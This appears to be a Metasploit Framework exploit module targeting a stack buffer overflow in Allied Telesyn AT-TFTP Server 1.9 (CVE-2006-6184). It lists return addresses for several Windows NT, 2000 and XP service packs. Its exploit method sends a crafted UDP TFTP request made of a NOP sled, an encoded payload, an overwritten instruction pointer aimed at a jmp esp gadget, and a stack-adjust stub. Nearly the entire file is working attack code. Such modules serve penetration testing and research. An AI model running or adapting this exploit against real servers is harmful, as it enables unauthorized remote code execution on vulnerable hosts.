##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in AT-TFTP v1.9, by sending a
        request (get/write) for an overly long file name.
      },
      'Author'    => [ 'Patrick Webster <patrick[at]aushack.com>' ],
      'Version'        => '$Revision$',
      'References'     => 
        [ 
          ['CVE', '2006-6184'],
          ['OSVDB', '11350'],
          ['BID', '21320'],
          ['URL','http://milw0rm.com/exploits/2887'],
          ['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd.exe'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 210,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
        # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
          [ 'Windows NT SP4 English',   { 'Ret' => 0x702ea6f7 } ],
          [ 'Windows 2000 SP0 English', {  'Ret' => 0x750362c3 } ],
          [ 'Windows 2000 SP1 English', {  'Ret' => 0x75031d85 } ],
          [ 'Windows 2000 SP2 English', {  'Ret' => 0x7503431b } ],
          [ 'Windows 2000 SP3 English', {  'Ret' => 0x74fe1c5a } ],
          [ 'Windows 2000 SP4 English', {  'Ret' => 0x75031dce } ],
          [ 'Windows XP SP0/1 English', {  'Ret' => 0x71ab7bfb } ],
          [ 'Windows XP SP2 English',   { 'Ret' => 0x71ab9372 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 27 2006'))

      register_options(
        [
          Opt::RPORT(69),
          Opt::LHOST() # Required for stack offset
        ], self.class)
  end

  def autofilter
    false
  end

  def exploit
    connect_udp
    
    sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
    sploit << payload.encoded
    sploit << [target['Ret']].pack('V')   # <-- eip = jmp esp. we control it.
    sploit << "\x83\xc4\x28\xc3"     # <-- esp = add esp 0x28 + retn
    sploit << "\x00" + "netascii" + "\x00"
    
    udp_sock.put(sploit)
    
    disconnect_udp
  end

end